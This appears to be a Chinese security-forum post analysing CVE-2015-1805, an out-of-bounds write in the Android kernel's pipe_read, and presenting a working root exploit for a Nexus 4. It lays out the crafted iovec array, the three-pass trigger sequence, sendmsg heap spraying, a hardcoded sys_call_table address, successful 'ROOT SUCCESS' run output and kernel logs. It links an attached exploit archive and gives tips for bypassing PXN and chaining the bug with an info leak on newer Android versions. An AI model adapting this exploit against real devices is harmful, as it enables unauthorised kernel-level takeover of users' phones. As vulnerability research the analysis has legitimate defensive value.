欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创][首发]CVE-2015-1805 安卓手机提权ROOT漏洞 分析

[原创][首发]CVE-2015-1805 安卓手机提权ROOT漏洞 分析

前言:
在网上找了一圈,虽然有CVE-2015-1805的相关资料,却没有发现完整的利用代码(找了一份POC,但是我自己测试没有使机器崩溃),所以。。。这个CVE虽然是2015年公布的,但是以为影响不大,很多分支都没有更新,导致了2016年2月份的代码都有漏洞
测试机器:nexus4       android版本:4.4   内核版本3.4.0
漏洞介绍:堆数组越界访问,导致任意地址可写任意值
漏洞利用:修改函数指针,进行提权操作
一:伪漏洞描述
为了方便理解,我简化了函数,伪代码如下
1.出错误函数是内核的pipe_read函数
struct iovec
{
        void *iov_base;
        int iov_len;
};
char g_from[0x3000] = {0};
pipe_read(...)
{
        struct iovec * iov = malloc(0x200 * sizeof(struct iovec));
        ...
        ...
        for (int i = 0 ; i < 0x200 ; i++)
        {
                //这个函数的作用是检查iov里面的base值,必须为有效的内存, 不区分用户内存或者内核内存
                atomic = !iov_fault_in_pages_write(iov, chars);
                if (atomic)
                {
                        copy = min_t(unsigned long, len, iov[i]->iov_len);
                        memcpy(iov[i]->iov_base, from, copy);
                }
        }
}
2.
此函数的作用如下:
把缓冲区from的值,分别拷贝到数组iov[i]->iov_base里面
我们可以控制iov[i]->iov_base,iov[i]->iov_len的值 和 from里面的内容
3.
假设我们可以让i溢出,会产生数组访问越界,
memcpy(iov[0x200]->iov_base, from, copy);
memcpy(iov[0x201]->iov_base, from, copy);
...
如果我们又能控制
iov[0x200]->iov_base的值,那么我们就可以实现一个任意地址写任意值了。
4.
提权思路,当i溢出后,我们只要能控制iov[0x200]->iov_base的值就能达到任意地址写的目录。
而iov的分配是在内核堆(slab机制)里面,那我们可以利用sendmsg堆喷,来构造iov[0x200]->iov_base的值
图如下:
堆空间
|第1个页        |第2个页
--------------------sendmsg喷----
|iov[0x0]       |iov[0x200]     |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|iov[0x1ff]     |               |
---------------------------------
备注:
有关堆喷和slab机制,可以查阅一下相关资料,这里就不在展开了。
啰嗦一句,在去年的cve-2015-3636(ping_unhash)和UAF类型的洞也用到这2个机制,个人感觉这个漏洞比ping_unhash要稍微复杂一些。。
二:漏洞描述
好了,看完上面的伪代码。知道此洞大概是个神马意思了,我们来看一下完整真实代码。
小弟才粗学浅,尽量把我知道的表达清楚,如果有错误和遗漏的地方,欢迎各位大牛指正,小弟在此谢过了!!!
1.比较关键的函数就2个
//真正的拷贝函数 相当于memcpy 不同的地方在于,根据atomic的值 会做一个内存是否为内核内存的检查
static int
pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len,
                      int atomic)
{
        unsigned long copy;
        while (len > 0) {
                while (!iov->iov_len)
                        iov++;
                copy = min_t(unsigned long, len, iov->iov_len);
                if (atomic) {
                        //这个条件如果为真,直接拷贝 不会检查iov->iov_base的值是否为用户内存
                        if (__copy_to_user_inatomic(iov->iov_base, from, copy))
                                return -EFAULT;
                } else {
                        //这里检查iov->iov_base内存,如果为内核内存就不拷贝,直接返回,所以我们不能走这个分支
                        if (copy_to_user(iov->iov_base, from, copy))
                                return -EFAULT;
                }
                from += copy;
                len -= copy;
                iov->iov_base += copy;
                iov->iov_len -= copy;
        }
        return 0;
}
static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
           unsigned long nr_segs, loff_t pos)
{
        ...+++++...
        //这是一个关键值,就是因为这个值 在走goto redo分支时候没有更新,引发的问题
        total_len = iov_length(iov, nr_segs);

        ...+++++...
        for (;;) {
                int bufs = pipe->nrbufs;
                if (bufs) {
                        int curbuf = pipe->curbuf;
                        struct pipe_buffer *buf = pipe->bufs + curbuf;
                        const struct pipe_buf_operations *ops = buf->ops;
                        void *addr;
                        size_t chars = buf->len;
                        int error, atomic;
                        if (chars > total_len)
                                chars = total_len;
                        error = ops->confirm(pipe, buf);
                        if (error) {
                                if (!ret)
                                        ret = error;
                                break;
                        }
                        //判断iov[i]->base是否为有效内存
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        //然而这句并没有什么卵用,忽略就好
                        addr = ops->map(pipe, buf, atomic);
                        //这里是最关键的一句了。。。各位爷看清楚 看仔细了。。。
                        //完成整个漏洞的利用,这函数一共要调用三次
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        ops->unmap(pipe, buf, addr);
                        if (unlikely(error)) {
                                /*
                                 * Just retry with the slow path if we failed.
                                 */
                                //这里也是比较关键的一句
                                if (atomic) {
                                        atomic = 0;
                                        goto redo;
                                }
                                ...+++++...
                        }
                        ret += chars;
                        buf->offset += chars;
                        buf->len -= chars;
                        ...+++++...
                        total_len -= chars;
                        if (!total_len)
                                break;        /* common path: read succeeded */
                }
                if (bufs)        /* More to do? */
                        continue;
                ...+++++...
        return ret;
}
2.
首先来看看,函数为什么会逻辑错误
我们先构造一个iov[200] 的数组
struct iovec iov[0x200];
for (i = 0; i < 0x200; i++)
{
        iov[i].iov_base = 0x4000000+i*i;
        if (i == 0)
        {
                iov[i].iov_len = 0;
        }
        else if (i == 1)
        {
                iov[i].iov_len = 0x20;
        }
        else
        {
                iov[i].iov_len = 0x8;
        }
}
构造好参数后,我们调用
readv(fd_pipe, iov, 0x200);
进入pipe_read函数
下面这行会调用三次,完成整个漏洞的触发
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
第一次循环调用时
                        ...+++...
                        {
                        //检查base 是否有效 设置atomic为1
                        //所以第一次我们要把iov[i]->iov_base 的值全部设置为有效
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        ...+++...
                        //当第一次时 atomic = 1 ; chars = 0x1000 ; total_len = 0x1010
                        //程序进入pipe_iov_copy_to_user函数拷贝时,我们让他拷贝失败
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        //返回错误 进入redo分支
                        ops->unmap(pipe, buf, addr);
                        if (unlikely(error)) {
                                /*
                                 * Just retry with the slow path if we failed.
                                 */
                                if (atomic) {
                                        atomic = 0;
                                        goto redo;
                                }
                        }
                        ...+++...
                       
                        ===============================================================================================
                        准备调用 pipe_iov_copy_to_user 时,iov的值如下
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        iov[1]->iov_base = 0x40001000;
                        iov[1]->iov_len = 0x20;
                        iov[2]->iov_base = 0x40002000;
                        iov[2]->iov_len = 0x8;
                        iov[3]->iov_base = 0x40003000;
                        iov[3]->iov_len = 0x8;
                        iov[4]->iov_base = 0x40004000;
                        iov[5]->iov_len = 0x8;
                        ===============================================================================================
                        进入 pipe_iov_copy_to_user 函数,进行拷贝操作。
                        这个时候,,假如我们把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置成无效
                        那么__copy_to_user_inatomic 函数就会执行错误,直接错误返回
                        这时 iov的值如下
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        iov[1]->iov_base = 0x40001000;
                        iov[1]->iov_len = 0x0;                        ==================》这个值已经改变了
                        iov[2]->iov_base = 0x40002000;
                        iov[2]->iov_len = 0x8;
                        iov[3]->iov_base = 0x40003000;
                        iov[3]->iov_len = 0x8;
                        iov[4]->iov_base = 0x40004000;
                        iov[5]->iov_len = 0x8;
                       
                        函数返回以后继续走 goto redo; 这个循环,进入第二次循环
               
                       
第二次循环调用时
                                                ...+++...
                        {
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        ...+++...
                        //当第二次时 atomic = 0 ; chars = 0x1000 ; total_len = 0x1010
                        //程序进入pipe_iov_copy_to_user函数
                        //这个时候 我们必须把  iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置有效
                        //让函数可以正确返回
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        ops->unmap(pipe, buf, addr);
                        if (unlikely(error)) {
                                /*
                                 * Just retry with the slow path if we failed.
                                 */
                                if (atomic) {
                                        atomic = 0;
                                        goto redo;
                                }
                                ...+++...
                        }
                       
                        total_len -= chars;
                        ...+++...
                        }
                        ===============================================================================================
                        准备调用 pipe_iov_copy_to_user 时,iov的值如下
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        iov[1]->iov_base = 0x40001000;
                        iov[1]->iov_len = 0x0;                ===========>这里的值0x20其实已经被消耗掉了。。但是total_len确没有减掉0x20。。导致了漏洞
                        iov[2]->iov_base = 0x40002000;
                        iov[2]->iov_len = 0x8;
                        iov[3]->iov_base = 0x40003000;
                        iov[3]->iov_len = 0x8;
                        iov[4]->iov_base = 0x40004000;
                        iov[5]->iov_len = 0x8;
                       
                        ===============================================================================================
                        这个时刻,我们必须又要把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置成有效,让函数可以正常运行下去。
                        pipe_iov_copy_to_user函数执行完毕以后,iov的值如下
                       
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        ..+++...
                        iov[0x1ff]->iov_base = 0x401ff000;
                        iov[0x1ff]->iov_len = 0x0;
                       
                        到这个时刻,系统分配的iov[0x200] 其实已经使用完毕,
                        但是因为第一次调用时故意引发的错误导致 total_len -= chars; 并没有更新,还会继续第三次循环
                        继续往下执行 total_len = 0x1010   chars = 0x1000
                        total_len -= chars;
                        total_len = 0x10
                       
第三次循环调用
                                                ...+++...
                        {
                       
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        ...+++...
                        //当第三次时 atomic = 1 ; chars = 0x10; total_len = 0x10
                        //程序进入pipe_iov_copy_to_user函数
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        ...+++...
                        }
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        ..+++...
                        iov[0x1ff]->iov_base = 0x401ff000;
                        iov[0x1ff]->iov_len = 0x0;
                        iov[0x200]->iov_base         = ????????;
                        iov[0x200]->iov_len        = ????????;
                       
                        再次进入pipe_iov_copy_to_user
                        但是因为 0x1ff 项已经使用完了。。会继续累加
                        iov[0x1ff]->iov_base = 0x401ff000;
                        iov[0x1ff]->iov_len = 0x0;
                        就会开始往0x200项的iov_base写值了,这样就产生了一个 数组越界的漏洞
                       
                        iov[0x200]->iov_base         = ????????;
                        iov[0x200]->iov_len        = ????????;
                        这样的话,我们只要控制 iov[0x200]->iov_base 和 iov[0x200]->iov_len 的内容,就达到了内核任意地址写任意值得目录
3.
利用sendmsg堆喷,如果iov[0x200]这个地址刚好落到我们堆喷的堆内存,那么相当于iov[0x200]->iov_base和iov[0x200]->iov_len
是我们可以控制的,源码里面解释的比较清楚,这里就不在描述了
三:编写攻击代码
1.附加提供了完整的代码下载链接
代码里面加入了大量的注释,方便大家阅读。
首先看看运行效果
///////////////////////////////////////////////
///////////////////////////////////////////////
shell@mako:/data/local/tmp $ ./exploit
./exploit
edit addr : c000df64
edit values : b6f2227c
-------------star---------------------
uid = 2000
gid = 2000
uid = 0
gid = 0
ROOT SUCCESS
///////////////////////////////////////////////
///////////////////////////////////////////////

这是我在nexus4机器上面通过的代码。。可以直接ROOT成功
下面是内核打印的信息
第二次循环进入
<4>[ 1626.645292] i_k :2 atomic:0 chars:fc0 total_len:1010 iov:ec9dc000
<4>[ 1626.645444] i_k 2 i_k i:0 iov_tmp->iov_base:40000000 iov_tmp->iov_len:0 chars:50
<4>[ 1626.645627] i_k i:1fa iov_tmp->iov_base:401fa000 iov_tmp->iov_len:8
<4>[ 1626.645749] i_k i:0 iov_tmp->iov_base:401fb000 iov_tmp->iov_len:8
<4>[ 1626.645810] i_k i:1 iov_tmp->iov_base:401fc000 iov_tmp->iov_len:8
<4>[ 1626.645932] i_k i:2 iov_tmp->iov_base:401fd000 iov_tmp->iov_len:8
<4>[ 1626.645994] i_k i:3 iov_tmp->iov_base:401fe000 iov_tmp->iov_len:8
<4>[ 1626.646116] i_k i:4 iov_tmp->iov_base:401ff000 iov_tmp->iov_len:8
<4>[ 1626.646177] i_k i:5 iov_tmp->iov_base:0 iov_tmp->iov_len:0
<4>[ 1626.646299] i_k i:6 iov_tmp->iov_base:c000df64 iov_tmp->iov_len:10        ====》这里访问已经越界了,开始往我们指定的内存写值了
<4>[ 1626.646360] i_k i:7 iov_tmp->iov_base:30000000 iov_tmp->iov_len:1000
<4>[ 1626.646482] i_k i:8 iov_tmp->iov_base:30000000 iov_tmp->iov_len:1000
第三次循环进入
<4>[ 1626.649107] i_k 3 atomic:1
<4>[ 1626.649168] i_k :3 atomic:1 chars:50 total_len:50 iov:ec9dc000
2.唯一的硬编码处,必须与机器匹配。当然也可以用其他方法配合,绕过硬编码
//nexus4 4.4
//c000db28 T sys_call_table
#define SYS_CALL_TABLE 0xc000db28

3.代码编译环境
编译环境:
win7 64位
android-ndk-r11c-windows-x86_64.zip
四:感谢
感谢一下以下写两篇文章的大牛,有机会的话希望跟大牛交流,求抱大腿 @__@
http://bobao.360.cn/learning/detail/2810.html
http://www.retme.net/index.php/2016/03/19/some-points-on-cve-2015-1805.html?utm_source=tuicool&utm_medium=referral
五:题外话
1.利用范围:这个漏洞的攻击面很广泛的,本人在安卓 4.3 到 6.0.1 的机型 都成功利用,而且成功率也非常不错,虽然有偶尔重启的情况,第一次调用基本成功(因为没有4.3以下的样机)
2.利用细节:在5.0以后的版本攻击细节有一些不一样,比如sys_call_table地址不可写(可以用虚函数指针绕过),然后PXN机制(可以用gadgets绕过)
3.漏洞配合:这个漏洞可以跟内核信息泄漏漏洞一起使用,达到很好的攻击效果。比如 qtaguid_ctrl_proc_read 这个函数可以泄漏sk指针的值,sk->sk_prot->close()
            得到sk指针的值后,覆盖sk_prot的的值,然后让close()指向我们构造好的函数
4.其他:如果阅读代码发现有什么错误和遗漏的地方,希望大家指正。或者有不明白的地方可以QQ跟我交流..

如果有对安卓漏洞方面感兴趣的,可以联系我。。
帮朋友找2个小伙伴有编程和逆向基础即可。。。

上传的附件 exploit.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功